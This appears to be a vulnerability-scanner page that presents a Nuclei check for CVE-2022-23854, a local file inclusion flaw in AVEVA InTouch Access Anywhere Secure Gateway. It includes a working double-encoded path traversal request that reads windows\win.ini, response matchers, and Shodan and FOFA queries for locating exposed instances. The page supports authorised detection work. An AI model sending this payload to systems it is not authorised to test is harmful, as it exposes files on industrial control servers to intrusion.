AVEVA InTouch Access Anywhere Secure Gateway - Local File Inclusion

highseverity

7.5CVSS score

49.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

AVEVA InTouch Access Anywhere Secure Gateway is vulnerable to local file inclusion.

Impact

An attacker can access sensitive information stored on the server, potentially leading to further exploitation or unauthorized access.

Fix

Apply the latest security patches or updates provided by AVEVA to fix the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%2…
Positive when: contains "for 16-bit app support" and "extensions" AND contains in header "text/ini" or "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2022-23854 -u <target>

The full check

id: CVE-2022-23854

info:
  name: AVEVA InTouch Access Anywhere Secure Gateway - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
    AVEVA InTouch Access Anywhere Secure Gateway is vulnerable to local file inclusion.
  impact: |
    An attacker can access sensitive information stored on the server, potentially leading to further exploitation or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by AVEVA to fix the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/cve/CVE-2022-23854
    - https://www.aveva.com
    - https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854
    - https://www.cisa.gov/uscert/ics/advisories/icsa-22-342-02
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-23854
    cwe-id: CWE-22,CWE-23
    epss-score: 0.4969
    epss-percentile: 0.98904
    cpe: cpe:2.3:a:aveva:intouch_access_anywhere:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: aveva
    product: intouch_access_anywhere
    shodan-query:
      - http.html:"InTouch Access Anywhere"
      - http.html:"intouch access anywhere"
    fofa-query: body="intouch access anywhere"
  tags: cve,cve2022,lfi,packetstorm,aveva,intouch,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'for 16-bit app support'
          - 'extensions'
        condition: and

      - type: word
        part: header
        words:
          - 'text/ini'
          - 'application/octet-stream'
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from